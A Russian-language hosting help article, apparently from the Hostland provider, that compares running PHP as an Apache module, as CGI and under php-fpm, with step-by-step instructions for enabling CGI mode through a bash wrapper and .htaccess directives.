Данный режим является основным режимом работы php на хостинге Hostland. При этом режиме в настройках веб-сервера Apache подключается специально скомпилированный модуль mod_php. В этом случае каждый процесс веб-сервера будет включать в себя этот модуль. Выбор этого режима подходит для широкого спектра сайтов с большой и малой посещаемостью.

Преимущества:

  • При каждом обращении к вебсерверу интерпретатор php уже загружен в память процесса обслуживающего соединение. Не нужно тратить лишние миллисекунды для того что бы исполнить код интерпретатора.
  • Быстрое исполнение скриптов.

Недостатки:

  • Конфигурирование php.ini выполняется исключительно системными администраторами хостинг провайдера, некоторые параметры можно объявить через файл .htaccess. Таким образом, если для сайта нужны гибкие настройки php.ini, то с этим могут возникнуть трудности.
  • Загрузка модуля mod_php происходит во все процессы apache даже при отсутствии запросов на php скрипты, обрабатываемый этим модулем. За счет этого создается, незначительная, но бесполезная нагрузка на сервер.

PHP как CGI приложение

В этом режиме запускается интерпретатор php-cgi для всех скриптов, для которых установлен CGI в качестве обработчика. Если большая часть сайта состоит из статического содержимого, то CGI будет хорошим выбором, т.к. будет обеспечено экономичное использование оперативной памяти за счет того, что нужный интерпретатор будет вызываться в случае необходимости. Но, и в то же время, такой метод незначительно замедляет исполнение, т.к. при каждом запросе понадобится загрузка интерпретатора в память. Запуск PHP в режиме CGI позволяет указывать свой php.ini, что в свою очередь дает бóльшую гибкость в настройках php.

На хостинге Hostland установлены следующие интерпретаторы php, доступные для использования в режиме CGI:

Переключить php в режим CGI (и обратно в режим модуля mod_php) можно двумя способами:

Автоматически в панели управления:

В панели управления хостингом, в разделе «Домены» для каждого домена доступна настройка php.ini. Режим работы php будет автоматически переведен в режим CGI при добавлении хотя бы одной опции php.ini в «Стандартном», «Ограниченном» или «Параноидальном» режиме.

PHP в режиме CGI автоматически подключается только для основного домена. Подключать PHP в режиме CGI для поддоменов необходимо вручную. Для этого скопируйте папку sys-php-cgi из корневой папки основного домена (данная дирректория появится в автоматическом режиме, после подключения PHP в режим CGI) в корневую папку поддомена. Например, для включения PHP в режиме CGI на поддомене sub.domain.ru нужно скопировать папку

/domain.ru/htdocs/www/sys-php-cgi в папку

/domain.ru/htdocs/sub, если Вы это действие не выполните, то при обращении к поддомену sub.domain.ru будет получена ошибка 500

Вручную (для экспертов):

Создать файл /domain-name.ru/htdocs/www/cgi-bin/php.cgi:

#!/bin/bash
/usr/local/php/php-5.3/bin/php-cgi -c /home/hostXXXXXX/путь/к/файлу/php.ini

Закачать файл на сервер в ASCII-режиме в папку домена, на котором предполагается запускать PHP в режиме CGI. Например, для домена domain-name.ru это будет папка /domain-name.ru/htdocs/www/cgi-bin/. Если закачать файл не в ASCII-режиме, скрипт работать не будет, будет выдаваться ошибка 500 (Internal Server Error).

Установить на файл php.cgi права 0755 (rwxr-xr-x).

Создать файл .htaccess в директории домена /domain-name.ru/htdocs/www и поместить в него следующие директивы:

Action php-cgi /cgi-bin/php.cgi
AddHandler php-cgi .php .php3 .phtml

Теперь файлы с расширением .php, .php3, .php5 будут обрабатываться PHP интерпретатором в CGI-режиме.

Преимущества:

  • Конфигурацию PHP можно сделать индивидуальной и очень гибкой для каждого сайта с помощью настроек php.ini.
  • CGI использует оперативную память только если это действительно необходимо.

Недостатки:

  • При каждом запросе понадобится загрузка интерпретатора в память, что может вызвать незначительные задержки (в пределах нескольких миллисекунд)
  • Разработка PHP-авторизации с командой Header имеет ограничения по причине того, что скрипт будет получать не все необходимые серверные переменные.

Небольшая ремарка:

Из практики работы нашей технической поддержки: при переносе сайтов с других хостингов мы иногда сталкиваемся с ситуацией, в которой приложение отказывается работать в режиме модуля php (с кодом завершения «segmentation fault»), но при этом стабильно работает в режиме php-cgi. С чем это связано сказать затруднительно, но это факт. Обычно это касается т.н. legacy кода, написанного на php5.2 или php4.4. Сайт при этом работает, но клиент, в силу обстоятельств, не может обновить код до современных версий php.

PHP в режиме работы php-fpm

FastCGI Process Manager, «Менеджер процессов FastCGI». Это альтернативная реализация FastCGI режима в PHP с несколь­кими допол­ни­тель­ными воз­мож­но­стя­ми, кото­рые обычно исполь­зу­ются для очень высо­ко­на­гру­жен­ных сайтов.

Следует помнить, что при работе PHP в режиме FastCGI в памяти «висит» сам php интерпретатор, а не какой-то конкретный php-скрипт.

PHP-FPM используется, в основном, в связке с Nginx, без установки Apache.

Более подробное описание данного режима выходит за рамки обзора данной темы, но на нашем VDS-хостинге мы с радостью поможем вам его настроить.

Илон Маск рекомендует:  Iis включение сжатия http
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL